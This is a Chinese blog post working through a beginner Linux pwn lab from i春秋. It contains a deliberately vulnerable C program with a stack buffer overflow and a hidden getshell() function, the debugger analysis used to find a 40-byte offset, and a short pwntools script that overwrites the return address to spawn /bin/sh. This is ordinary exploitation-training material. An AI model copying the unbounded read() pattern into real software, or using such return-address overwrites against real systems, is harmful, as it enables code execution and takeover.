i春秋-Linux pwn 入门

一环境准备(64位)

                    目标代码:与i春秋上有一点点区别,不同处标黄。

                        #include <stdio.h>

                            int hello()

                                {

                                       int buf;

                                        int v2;

                                    __int128 v3;

                                    buf=0;

                                    v2=0;

                                    v3=0;

                                    read(0,&buf,0x64u);

                                        return printf("hello\n,%ls",&buf);

                                        }

                                    int getshell()

                                    {

                                        return system("/bin/sh");

                                        }

                                        int main(void)

                                                    {

                                                hello();

                                                return 0;

                                                    }

                              通过gcc 命令生成elf文件、

                        调试环境:IDA 远程调试,连接到ubuntu。即可在Windows下动态调试elf文件。上手后决的不是很好用。在ubuntu里安装了edb-debug。

二溢出位置计算

        左图是对栈的初始化,右图是初始化后的栈帧。

 

对栈进行分析: ........70为buf开始地址,98为函数返回地址,000055b7:67e8f7c8是shell函数地址

98-70=28h

playload=40个字符+目标地址

三获取权限

在edb中对内存的修改不好用,转到ida中进行提权的修改。

首先根据在edb中动态调试的分析对hello return 值手工修改让其返回到getshell处

 

单步调试,分析程序流。跳转到getshell内部

在CALL _SYSTEM处报错,暂时还没解决。

(2)通过playload 返回shell

漏洞利用代码:

                        from pwn import *

                        p = process('./icq')

                        shell = 0x00000000000007B8

                        payload = 'A'*40 +p64(shell)

                        p.send(payload)

                        p.interactive()

返回shell

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值